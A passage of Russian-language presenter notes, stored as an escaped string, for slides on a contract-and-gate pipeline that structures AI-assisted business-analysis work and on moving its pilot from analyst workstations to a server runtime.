\u043d\u0435 \u0438\u043c\u043f\u0440\u043e\u0432\u0438\u0437\u0430\u0446\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438.\\n- \u0417\u0430\u043a\u043e\u043d \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430 \u0447\u0438\u0442\u0430\u0435\u0442\u0441\u044f \u0441\u043b\u0435\u0432\u0430 \u043d\u0430\u043f\u0440\u0430\u0432\u043e: \u0438\u0437 \u0432\u0445\u043e\u0434\u0430, \u0434\u043b\u044f \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e\\n  \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b, \u043e\u0434\u043d\u043e\u0439 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0435\u0439, \u043e\u0434\u043d\u0438\u043c \u0430\u043a\u0442\u043e\u0440\u043e\u043c \u2014 \u0447\u0435\u0440\u0435\u0437 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0438\\n  \u0433\u0435\u0439\u0442 \u2014 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442\u0441\u044f \u0432\u044b\u0445\u043e\u0434 \u0441\u043e \u0441\u043b\u0435\u0434\u043e\u043c \u043f\u0440\u043e\u0438\u0441\u0445\u043e\u0436\u0434\u0435\u043d\u0438\u044f.\\n- \u0427\u0435\u0442\u044b\u0440\u0435\\n  [\u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md)\\n  \u2014 \u043e\u0442\u0432\u0435\u0442\u044b \u043d\u0430 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043d\u044b\u0435 \u0434\u0435\u0444\u0435\u043a\u0442\u044b. \u041d\u0435\u0442 \u0448\u0430\u0433\u0430 \u0431\u0435\u0437 \u0432\u0445\u043e\u0434\u0430 \u2014 \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e 50 \u0438\u0437 67\\n  \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0432\u0445\u043e\u0434\u0430 \u043d\u0435 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u043b\u0438. \u041f\u0440\u043e\u0434\u0443\u043a\u0442 \u043e\u0431\u044a\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0434\u043e \u0448\u0430\u0433\u0430 \u2014 \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\\n  \u043b\u0435\u043a\u0441\u0438\u043a\u0430 \u0437\u0430\u0434\u0430\u0447\u0438 \u0443\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0431\u043e\u043b\u044c\u0448\u0435 \u0447\u0435\u043c \u043d\u0430 \u043e\u0434\u0438\u043d \u0434\u043e\u043c\u0435\u043d \u0432 66 \u0438\u0437 67 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432.\\n\\n**\u041a\u0430\u043a:** \u043a\u0430\u0436\u0434\u044b\u0439 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0430\u0448\u0438\u043d\u043e\u0439. \u0414\u0432\u0430 \u2014 \u043f\u0440\u0435\u0434\u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0448\u0430\u0433\u0430, \u0434\u0432\u0430 \u2014\\n\u043f\u043e\u0441\u0442\u0443\u0441\u043b\u043e\u0432\u0438\u044f.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0421\u0430\u043c\u043e\u0435 \u0432\u0430\u0436\u043d\u043e\u0435 \u043d\u0430 \u044d\u0442\u043e\u0439 \u0441\u0445\u0435\u043c\u0435 \u2014 \u043d\u0438\u0436\u043d\u0438\u0439 \u0443\u0440\u043e\u0432\u0435\u043d\u044c, \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044f. \u0418\u043c\u0435\u043d\u043d\u043e\\n\u0442\u0430\u043c \u043f\u0440\u043e\u0438\u0437\u043e\u0448\u0451\u043b \u043f\u0440\u043e\u0440\u044b\u0432\u00bb.\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 6. \u041c\u044b \u043d\u0435 \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043c\u044b\u0441\u043b\u044c: \u043c\u044b \u043e\u0446\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u043c \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e \u0438 \u0441\u0442\u0430\u0432\u0438\u043c \u043d\u0430 \u0435\u0451 \u0432\u044b\u0445\u043e\u0434 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 3 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u0433\u043b\u0430\u0432\u043d\u044b\u0439 \u0441\u043b\u0430\u0439\u0434. \u041f\u043e\u043a\u0430\u0437\u0430\u0442\u044c, \u0447\u0442\u043e \u0438\u043c\u0435\u043d\u043d\u043e \u043c\u044b \u0434\u0435\u043b\u0430\u0435\u043c\\n\u0438\u043d\u0430\u0447\u0435 \u0438 \u043f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0442\u0430\u043c, \u0433\u0434\u0435 \u043f\u0440\u043e\u043c\u043f\u0442 \u043d\u0435 \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0413\u0438\u043f\u043e\u0442\u0435\u0437\u0430: \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u0430\u044f \u0440\u0430\u0431\u043e\u0442\u0430 \u0411\u0410 \u043f\u043b\u043e\u0445\u043e \u043f\u043e\u0434\u0434\u0430\u0451\u0442\u0441\u044f \u043f\u0440\u044f\u043c\u043e\u0439 \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438. \u041b\u0443\u0447\u0448\u0435\u0435\\n  \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e \u2014\\n  [RUN-0018](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/methodology-unification/40-practice-and-cases.md).\\n  \u0421\u0442\u0440\u043e\u0433\u0438\u0439 \u043f\u043e\u0448\u0430\u0433\u043e\u0432\u044b\u0439 \u043f\u0440\u043e\u043c\u043f\u0442, \u0432\u043e\u0441\u0435\u043c\u044c \u0448\u0430\u0433\u043e\u0432, \u0432 \u043a\u0430\u0436\u0434\u043e\u043c \u0441\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430. \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442 \u2014\\n  8 \u0433\u0430\u043b\u043b\u044e\u0446\u0438\u043d\u0430\u0446\u0438\u0439, \u043e\u0434\u043d\u0430 \u0434\u043e\u0448\u043b\u0430 \u0434\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430. \u0412\u044b\u0432\u043e\u0434 \u0441\u0430\u043c\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430: \u00ab\u041c\u0435\u0445\u0430\u043d\u0438\u043a\u0430\\n  \u043f\u0440\u043e\u043c\u043f\u0442\u0430 \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0430, \u0434\u043e\u0441\u0442\u043e\u0432\u0435\u0440\u043d\u043e\u0441\u0442\u044c \u0444\u0430\u043a\u0442\u043e\u0432 \u043d\u0435 \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0430\u00bb.\\n- \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u043c\u044b \u0440\u0430\u0437\u043b\u043e\u0436\u0438\u043b\u0438 \u0440\u0430\u0431\u043e\u0442\u0443 \u043d\u0430\\n  [31 \u0430\u0442\u043e\u043c\u0430\u0440\u043d\u0443\u044e \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u044e](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/operation-taxonomy/10-theory.md)\\n  \u0432 \u043f\u044f\u0442\u0438 \u043a\u043e\u0433\u043d\u0438\u0442\u0438\u0432\u043d\u044b\u0445 \u043a\u043b\u0430\u0441\u0441\u0430\u0445. \u041a\u043b\u0430\u0441\u0441 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u044f\u0435\u0442\u0441\u044f \u0442\u0435\u043c, \u043e\u0442\u043a\u0443\u0434\u0430 \u0431\u0435\u0440\u0451\u0442\u0441\u044f\\n  \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435 \u0432\u044b\u0445\u043e\u0434\u0430.\\n- \u041a\u043b\u0430\u0441\u0441 \u0437\u0430\u0434\u0430\u0451\u0442 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044f. \u0418\u0437\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435 \u0441\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u0441 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c.\\n  \u041f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u2014 \u0441\u043e \u0441\u0445\u0435\u043c\u043e\u0439. \u041f\u043e\u0440\u043e\u0436\u0434\u0435\u043d\u0438\u0435, \u0433\u0434\u0435 \u043f\u043e\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u043d\u043e\u0432\u043e\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u043d\u0438\u0435,\\n  \u0438\u0434\u0451\u0442 \u0447\u0435\u0440\u0435\u0437 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430. \u0412\u044b\u0431\u043e\u0440 \u0434\u043e\u043b\u0436\u0435\u043d \u0431\u044b\u0442\u044c \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u043d.\\n- \u041f\u043e\u0432\u0435\u0440\u0445 \u2014 fail-closed. \u041d\u0435\u0442 \u0432\u0445\u043e\u0434\u0430, \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0430 \u0438\u043b\u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 \u2014 \u0448\u0430\u0433\\n  \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0435\u0442\u0441\u044f \u0438 \u0437\u0430\u0434\u0430\u0451\u0442 \u0432\u043e\u043f\u0440\u043e\u0441. \u041f\u0443\u0441\u0442\u043e\u0439 \u0441\u043b\u043e\u0442 \u0441 \u043e\u0431\u044a\u044f\u0432\u043b\u0435\u043d\u043d\u043e\u0439 \u043f\u0440\u0438\u0447\u0438\u043d\u043e\u0439 \u043b\u0443\u0447\u0448\u0435\\n  \u0432\u044b\u0434\u0443\u043c\u0430\u043d\u043d\u043e\u0433\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u044f.\\n- \u042d\u0442\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043d\u0430 \u043f\u0440\u0430\u043a\u0442\u0438\u043a\u0435: RUN-0059 \u0441 \u0442\u0430\u043a\u0438\u043c \u043f\u0440\u0430\u0432\u0438\u043b\u043e\u043c \u043d\u0435 \u043f\u0440\u0438\u0434\u0443\u043c\u0430\u043b\\n  \u043d\u0435\u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0435 endpoint'\u044b Mango, \u0430 \u043e\u0441\u0442\u0430\u0432\u0438\u043b \u043f\u0440\u043e\u0431\u0435\u043b. RUN-0060 \u0434\u0430\u043b 101\\n  \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044e \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438 \u043d\u0430 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u043f\u0440\u043e\u0440\u044b\u0432, \u0430 \u043d\u0435 \u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e:** \u043c\u044b \u043f\u0435\u0440\u0435\u0441\u0442\u0430\u043b\u0438 \u0441\u043f\u0440\u0430\u0448\u0438\u0432\u0430\u0442\u044c \u0443\\n\u043c\u043e\u0434\u0435\u043b\u0438, \u0445\u043e\u0440\u043e\u0448 \u043b\u0438 \u0435\u0451 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442. \u0421\u0430\u043c\u043e\u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043c\u043e\u0434\u0435\u043b\u0438 \u043d\u0435 \u043b\u043e\u0432\u0438\u0442 \u043e\u0448\u0438\u0431\u043a\u0443,\\n\u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0432\u044b\u0440\u043e\u0441\u043b\u0430 \u0438\u0437 \u0435\u0451 \u0436\u0435 \u043b\u043e\u0436\u043d\u043e\u0433\u043e \u0443\u0431\u0435\u0436\u0434\u0435\u043d\u0438\u044f. \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u043e\u0442\u0434\u0435\u043b\u0435\u043d\u0430 \u043e\u0442\\n\u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u0438 \u0438 \u0432\u044b\u0431\u0440\u0430\u043d\u0430 \u043f\u043e \u0442\u0438\u043f\u0443 \u0440\u0430\u0431\u043e\u0442\u044b.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0418\u0437 \u044d\u0442\u0438\u0445 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439 \u0441\u043e\u0431\u0438\u0440\u0430\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440. \u041f\u043e\u043a\u0430\u0436\u0443 \u0435\u0433\u043e \u0446\u0435\u043b\u0438\u043a\u043e\u043c \u0438\\n\u0441\u0440\u0430\u0437\u0443 \u0441\u043a\u0430\u0436\u0443, \u0447\u0442\u043e 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\u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f API, \u043b\u0438\u0447\u043d\u043e\u0433\u043e \u043a\u0430\u0431\u0438\u043d\u0435\u0442\u0430 \u0438\\n  \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0430. \u0414\u043b\u044f \u043a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0430 \u0432 \u043f\u0430\u043a\u0435\u0442\u0435 2 \u043f\u043e\u043b\u043e\u0436\u0438\u0442\u0435\u043b\u044c\u043d\u044b\u0445 \u0438 4\\n  \u043e\u0442\u0440\u0438\u0446\u0430\u0442\u0435\u043b\u044c\u043d\u044b\u0445\\n  [\u0437\u043e\u043b\u043e\u0442\u044b\u0445 \u043a\u0435\u0439\u0441\u0430](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/tree/main/projects/ba-ai-process/dist/execution-package-gigacode-cli/golden)\\n  \u2014 \u043d\u0430 \u0442\u0438\u043f\u043e\u0432\u044b\u0435 \u043f\u0443\u0442\u0430\u043d\u0438\u0446\u044b \u0432\u0440\u043e\u0434\u0435 SLA \u0438 AHT.\\n- \u0413\u0435\u0439\u0442\u044b: \u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0443 \u0438 \u0441\u0445\u0435\u043c\u0443, \u0447\u0435\u043b\u043e\u0432\u0435\u043a \u2014 \u0441\u043c\u044b\u0441\u043b \u0438 \u0441\u043f\u043e\u0440\u043d\u044b\u0435\\n  \u0432\u044b\u0431\u043e\u0440\u044b. \u0427\u0435\u043b\u043e\u0432\u0435\u043a \u043d\u0435 \u043f\u0435\u0440\u0435\u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0442\u043e, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u0430.\\n- \u041f\u0440\u043e\u0435\u043a\u0446\u0438\u044f: \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0441\u043e\u0431\u0438\u0440\u0430\u044e\u0442\u0441\u044f \u0447\u0442\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0431\u0438\u0437\u043d\u0435\u0441\u0430,\\n  \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f, \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u0438 \u0434\u043e\u0433\u043e\u0432\u043e\u0440\u0430.\\n\\n**\u0421\u0442\u0430\u0442\u0443\u0441 \u2014 \u0441\u043a\u0430\u0437\u0430\u0442\u044c \u043f\u0440\u044f\u043c\u043e:**\\n\\n- \u0420\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u0432\u043e\u0441\u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0438\u043c\u043e: \u043c\u0430\u0448\u0438\u043d\u043d\u0430\u044f \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0438 \u0441\u0431\u043e\u0440\u043a\u0430 Release. \u0414\u0432\u0435 \u0441\u0431\u043e\u0440\u043a\u0438\\n  \u043e\u0434\u043d\u043e\u0433\u043e \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0434\u0430\u044e\u0442\\n  [\u043f\u043e\u0431\u0430\u0439\u0442\u043d\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b\u0439 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md).\\n- \u0412 \u043f\u0438\u043b\u043e\u0442\u0435 \u043d\u0430 \u0410\u0420\u041c: \u043d\u043e\u0440\u043c\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f, \u0441\u0432\u0435\u0440\u043a\u0430, \u0433\u0435\u043d\u0435\u0440\u0430\u0446\u0438\u044f \u2014 \u043d\u0430 \u0441\u0440\u0435\u0437\u0435\\n  `contact-center`.\\n- \u041d\u0435 \u0438\u0437\u043c\u0435\u0440\u0435\u043d\u043e: \u0432\u044b\u0434\u0430\u0447\u0430 \u043a\u0430\u0436\u0434\u043e\u0439 \u043f\u0440\u043e\u0435\u043a\u0446\u0438\u0438 \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0432\u0438\u0434 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430.\\n  \u0421\u0435\u0439\u0447\u0430\u0441 \u043c\u0430\u0448\u0438\u043d\u0430 \u0432\u044b\u0434\u0430\u0451\u0442 \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0439 JSON, \u0430 \u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0442\u0435\u043a\u0441\u0442 \u2014 \u043f\u0435\u0440\u0435\u0441\u043a\u0430\u0437\\n  \u043c\u043e\u0434\u0435\u043b\u0438. \u042d\u0442\u043e \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0439 \u043f\u0440\u043e\u0431\u0435\u043b.\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0413\u0434\u0435 \u044d\u0442\u043e\u0442 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 \u0441\u0435\u0439\u0447\u0430\u0441 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0438 \u043f\u043e\u0447\u0435\u043c\u0443 \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u0430 \u0434\u0440\u0443\u0433\u0430\u044f\\n\u0441\u0440\u0435\u0434\u0430?\u00bb\\n\\n---\\n\\n## \u0421\u043b\u0430\u0439\u0434 8. \u041f\u0438\u043b\u043e\u0442 \u043d\u0430 \u0410\u0420\u041c \u0434\u043e\u043a\u0430\u0437\u0430\u043b \u043c\u043e\u0434\u0435\u043b\u044c; \u0434\u043b\u044f \u0433\u0430\u0440\u0430\u043d\u0442\u0438\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0430\u043c\u0438 \u0434\u043e\u043b\u0436\u0435\u043d \u0443\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u0434, \u0430 \u043d\u0435 \u043c\u043e\u0434\u0435\u043b\u044c\\n\\n**\u0412\u0440\u0435\u043c\u044f:** 2,5 \u043c\u0438\u043d\u0443\u0442\u044b. **\u0426\u0435\u043b\u044c:** \u043e\u0431\u044a\u044f\u0441\u043d\u0438\u0442\u044c \u0442\u0435\u043a\u0443\u0449\u0438\u0439 \u043f\u0438\u043b\u043e\u0442 \u0438 \u043e\u0431\u043e\u0441\u043d\u043e\u0432\u0430\u0442\u044c \u0432\u0435\u043a\u0442\u043e\u0440\\n\u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0443\u044e \u0441\u0440\u0435\u0434\u0443 \u0430\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u043d\u044b\u043c \u043f\u0440\u043e\u0431\u0435\u043b\u043e\u043c, \u0430 \u043d\u0435 \u0436\u0435\u043b\u0430\u043d\u0438\u0435\u043c.\\n\\n**\u0422\u0435\u043a\u0441\u0442.**\\n\\n- \u0410\u0440\u0445\u0438\u0442\u0435\u043a\u0442\u0443\u0440\u0430 \u0440\u0430\u0437\u0434\u0435\u043b\u0435\u043d\u0430 \u043f\u043e\\n  [ADR-017](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/decisions/2026-09-adr-017-ba-ai-process-source-distribution.md):\\n  Source \u0445\u0440\u0430\u043d\u0438\u0442 \u043c\u043e\u0434\u0435\u043b\u044c \u0438 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u044b, Distribution \u2014 \u0441\u043a\u043e\u043c\u043f\u0438\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u043f\u0430\u043a\u0435\u0442,\\n  Runtime \u2014 \u0441\u0440\u0435\u0434\u0443 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f, Feedback \u0432\u043e\u0437\u0432\u0440\u0430\u0449\u0430\u0435\u0442 \u043d\u0430\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u044f \u0432 Source.\\n- \u0421\u0435\u0439\u0447\u0430\u0441 \u0434\u0432\u0430 \u043f\u0430\u043a\u0435\u0442\u0430 \u0434\u043b\u044f \u0410\u0420\u041c \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430: GigaCode CLI \u0438 Cline \u0441 Mango AI.\\n  \u041a\u043e\u043c\u043f\u0438\u043b\u044f\u0442\u043e\u0440 \u043e\u0431\u0449\u0438\u0439, \u0432 \u043e\u0431\u043e\u0438\u0445 \u043f\u0430\u043a\u0435\u0442\u0430\u0445 \u043e\u043d \u043f\u043e\u0431\u0430\u0439\u0442\u043e\u0432\u043e \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432. \u041e\u0442\u043b\u0438\u0447\u0430\u044e\u0442\u0441\u044f\\n  \u0430\u0434\u0430\u043f\u0442\u0435\u0440\u044b.\\n- \u0413\u043b\u0430\u0432\u043d\u044b\u0439 \u043f\u0440\u043e\u0431\u0435\u043b \u043d\u0430\u0448\u0451\u043b\\n  [\u0430\u0443\u0434\u0438\u0442 \u0441\u0440\u0435\u0434](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md):\\n  \u0443 \u0440\u043e\u043b\u0438 \u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u043d\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f. \u0412 CLI \u043a\u0430\u0436\u0434\u044b\u0439 \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u0411\u0410, \u0432\\n  Cline \u043c\u043e\u0434\u0435\u043b\u044c \u0447\u0438\u0442\u0430\u0435\u0442 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0438 \u0440\u0435\u0448\u0430\u0435\u0442 \u0441\u0430\u043c\u0430.\\n- \u041f\u0440\u043e\u0431\u0430 \u044d\u0442\u043e \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u043b\u0430: \u0442\u0435\u043a\u0441\u0442 \u00ablorem ipsum\u00bb \u043f\u0440\u043e\u0448\u0451\u043b \u0443\u0437\u043b\u044b n1\u2013n3, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e\\n  \u0433\u0435\u0439\u0442 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u043b \u043f\u0430\u043a\u0435\u0442, \u0430 \u043d\u0435 \u0432\u044b\u0445\u043e\u0434 \u0448\u0430\u0433\u0430. \u041c\u0435\u0442\u0440\u0438\u043a\u0430 \u0434\u043e\u043b\u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0448\u0430\u0433\u043e\u0432 \u043f\u0440\u0438\\n  \u044d\u0442\u043e\u043c \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u043b\u0430 1.0.\\n- \u041e\u0442\u0441\u044e\u0434\u0430 \u0432\u0435\u043a\u0442\u043e\u0440. \u0421\u043d\u0430\u0447\u0430\u043b\u0430 runner \u043d\u0430 \u0410\u0420\u041c \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u0441\u044f \u043b\u0438\u0434\u0435\u0440\u043e\u043c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430. \u0417\u0430\u0442\u0435\u043c\\n  \u0442\u043e \u0436\u0435 \u044f\u0434\u0440\u043e \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u043a\u0430\u043a \u0441\u0435\u0440\u0432\u0435\u0440\u043d\u0430\u044f \u0441\u043b\u0443\u0436\u0431\u0430 \u2014 \u0421\u0440\u0435\u0434\u0430 4: \u0441\u043e\u0431\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u043d\u0435\u0447\u043d\u044b\u0439\\n  \u0430\u0432\u0442\u043e\u043c\u0430\u0442 \u043d\u0430 15 \u0443\u0437\u043b\u043e\u0432, \u0436\u0443\u0440\u043d\u0430\u043b \u0441 \u0446\u0435\u043f\u043e\u0447\u043a\u043e\u0439 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u0432, \u0432\u044b\u0437\u043e\u0432 Mango AI \u043f\u043e\\n  OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u043e\u043c\u0443 API \u0438\u0437 \u043a\u043e\u0434\u0430.\\n\\n**\u041f\u043e\u0447\u0435\u043c\u0443 \u043d\u0435 \u0430\u0433\u0435\u043d\u0442\u043d\u044b\u0439 \u0444\u0440\u0435\u0439\u043c\u0432\u043e\u0440\u043a:** \u0445\u043e\u0440\u043e\u0448\u043e \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430 \u0441 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0430\u043c\u0438 \u2014\\n\u044d\u0442\u043e workflow, \u0430 \u043d\u0435 \u0441\u0432\u043e\u0431\u043e\u0434\u043d\u044b\u0439 \u0430\u0433\u0435\u043d\u0442. \u0422\u0430\u043a \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u0438 Anthropic \u0432\\n[Building effective agents](https://www.anthropic.com/engineering/building-effective-agents),\\n\u0438 \u043f\u0440\u0438\u043d\u0446\u0438\u043f \u00abOwn your control flow\u00bb \u0438\u0437\\n[12-factor agents](https://github.com/humanlayer/12-factor-agents).\\n\\n**\u041c\u043e\u0441\u0442\u0438\u043a:** \u00ab\u0415\u0441\u043b\u0438 \u043a\u043e\u043d\u0432\u0435\u0439\u0435\u0440 